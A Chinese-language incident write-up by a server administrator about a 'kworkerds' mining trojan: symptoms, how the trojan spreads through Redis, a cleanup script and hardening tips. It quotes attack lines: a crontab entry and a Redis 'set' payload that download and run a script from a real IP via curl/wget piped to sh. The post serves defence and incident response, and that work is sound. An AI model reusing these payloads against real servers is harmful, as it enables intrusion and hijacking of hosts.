一、起因
今天,同事說我負責的模塊在阿里云上不工作了,我趕忙遠程登錄查看。
1. 服務器的癥狀
- 敲命令的時候,終端的字符回傳很快,但是命令的響應時間較長;
- 服務器內存32GB,剩余200MB;
- CPU跑到了99%;
- 我負責的模塊之前一直工作正常,穩定性好,沒修改過配置,但現在不能工作;
- 查看我負責的模塊配置正常、運行正常,但部分服務出錯;
- top命令未發現有高耗CPU的進程,但是有大量的kworkerds進程。
2. 定位分析
病癥1、3、6說明是阿里云服務器已經產生了異常。
根據病癥4、5一步步梳理流程,核對日志,定位問題,最終發現,redis可以正常提供服務,但程序無法將數據刷新到redis,導致分別負責讀寫的兩個模塊數據長時間不能同步,重啟redis后服務正常。但問題需要進一步分析。
二、查找木馬
服務器是與別人共用的,其他的服務,我們不知道是否有用。但服務器卡頓,實在影響調試效率,搜索了一下kworkerds,才知道是個挖礦的木馬程序。
查看木馬進程數
- [root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l
- 385
kill掉所有木馬進程
- [root@xxx ~] # ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9
查看開機啟動項和任務
- [root@XXX ~]# systemctl list-unit-files
- (沒發現問題,就不貼進來了)
- [root@XXX ~]# cat /etc/rc.local
- (沒發現問題,就不貼進來了)
- [root@XXX ~]# cat /etc/crontab
- ...
- 01 * * * * root run-parts /etc/cron.hourly
- 02 4 * * * root run-parts /etc/cron.daily
- 0 1 * * * root /usr/local/bin/dns
- [root@XXX ~]# crontab -l
- */23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
“/etc/crontab”里的內容看起來好像是正常,但是“crontab -l”中顯示的內容有些來路不明。
于是下載代碼查看
- [root@xxx ~]# (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)
- (木馬的代碼我就不貼進來了)
限于篇幅,木馬的代碼就不展示在此了,大家可以自行下載查看,記住,下載的時候要把"|sh"去掉,當心玩火自焚。
三、分析木馬
木馬腳本寫得還是不錯的,風格整齊,邏輯嚴謹。出色地完成了以下功能:
- 刪除阿里云云盾客戶端和阿里云監控程序;
- 停止、刪除主機已經存在的其他挖礦程序;
- 下載挖礦程序和配置文件并執行;
- 約束木馬程序,防止觸發服務器性能監測工具告警;
- 設置任務計劃,保持更新,持續感染主機;
- 通過本機感染其他主機;
- 清空操作日志,篡改文件修改時間,隱藏自己的訪問蹤跡。
木馬中同時用了shell和python兩種腳本,腳本逐層嵌套,對于一些敏感的代碼,使用了base64進行加密,針對不同的系統平臺有不同的處理,同時鎖定了自己修改的文件,防止被別的程序隨意修改,提供遠程服務的IP地址來自非洲東部的塞舌爾共和國。
四、木馬是如何傳播的
1. 傳播方式
木馬傳播方式有三種,如下:
- activeMQ
- redis
- ssh的免密碼登錄
2. 傳播思路
木馬感染的步驟如下:
- 通過掃描"xxx.xxx.0.0/16"網段內的所有IP的6379和8186兩個端口;
- 如果可以連接,那么以key-value的形式寫入數據;
-
- 'set SwE3SC "\\t\\n*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\\n\\t"\r\n'
- 將該條數據以文件的形式保存到定時任務的文件目錄,如/var/spool/cron/root等;
- 下個定時周期到來時,服務器自動下載遠程腳本并執行;
- 遍歷該主機可以免密碼登錄的其他主機,遠程連接并執行代碼。
遠程腳本執行時,會重新修改定時任務等文件,保證可以持續感染主機,同時也隱藏了第一次感染的痕跡。之后每個定時周期到來時,都會重復4、5兩個步驟。
3. 排查漏洞
服務器中沒有activeMQ,沒有.ssh文件夾。小編也根據代碼流程,感染了一下自己的redis,但是并沒有達到預期的結果。
本人用的redis文件保存的時候是二進制的,不是字符串,根本無法被定時任務執行,但是修改感染腳本,可以完成黑客設置的既定思路。
結合阿里云之前修改過密碼的情況,本次感染可能有兩種來源:
- 以前發現了被感染,但木馬沒有被清理干凈;
- 木馬作者會定期修改自己的代碼來感染不同版本的redis,甚至是去利用其它軟件的漏洞。
另外一個代碼變動的證據就是netstat命令的二進制文件遭到篡改,這顯然是為了應對運維人員排查異常網絡連接而設計的,但本次檢查木馬代碼時,并沒有發現與netstat命令有關的操作。
五、清理木馬
清理過程分兩步:刪除木馬文件和修補當前漏洞。
1. 刪除木馬文件
根據木馬的代碼,寫了清理腳本,如下:
- #!/bin/bash
- ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9
- chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
- echo "" > /usr/local/bin/dns
- echo "" > /etc/cron.d/root
- echo "" > /etc/cron.d/apache
- echo "" > /var/spool/cron/root
- echo "" > /var/spool/cron/crontabs/root
- rm -rf /etc/cron.hourly/oanacroner
- rm -rf /etc/cron.daily/oanacroner
- rm -rf /etc/cron.monthly/oanacroner
- sed -i '/cron.hourly/d' /etc/crontab
- sed -i '/cron.daily/d' /etc/crontab
- sed -i '/usr\/local\/bin\/dns/d' /etc/crontab
- #sed -i '$d' /etc/ld.so.preload
- rm -rf /usr/local/lib/libntpd.so
- #/tmp/.a可以不刪,木馬是通過此文件判斷是否要卸載阿里云盾
- #rm -rf /tmp/.a
- rm -rf /bin/kworkerds
- rm -rf /tmp/kworkerds
- rm -rf /usr/sbin/kworkerds
- rm -rf /etc/init.d/kworker
- chkconfig --del kworker
腳本僅供大家參考,在執行之前還是要對照一下具體的環境。
除此之外,還需要排查一下系統中是否有異常用戶,異常的服務和異常的監聽端口。畢竟服務器被入侵過,絕不能等閑視之。
2. 修補漏洞
以redis為例,修補漏洞有很多種方法:
- 限制端口,使其對外不可連接;
- 不要使用root運行reids;
- 及時更新軟件,修補漏洞;
- 修改默認端口;
- 對重要命令重命名;
關于這個問題,阿里云也有詳細的安全加固方案:
https://help.aliyun.com/knowledge_detail/37447.html?spm=a2c4g.11186631.2.3.29131848FutMrC
編者的話
黑客一詞聽起來感覺酷酷的,因為世界上確有一批崇尚用技術實現“開放、自由、真實、平等、美好生活”的人,他們離經叛道,閃閃發光。然而,通常情況下非法獲取利益的黑客僅僅是一個小偷而已,喜歡的是不勞而獲,而不是技術本身,技術水平也只能是一般。
希望大家從技術交流,防范風險的角度看待文中提供的木馬資料,不要走上違法犯罪的道路。從另一個角度講,信息安全無小事,文中的木馬僅僅是挖礦,事實上,該漏洞足以讓黑客在你的服務器上做任何事,大家萬萬不可掉以輕心。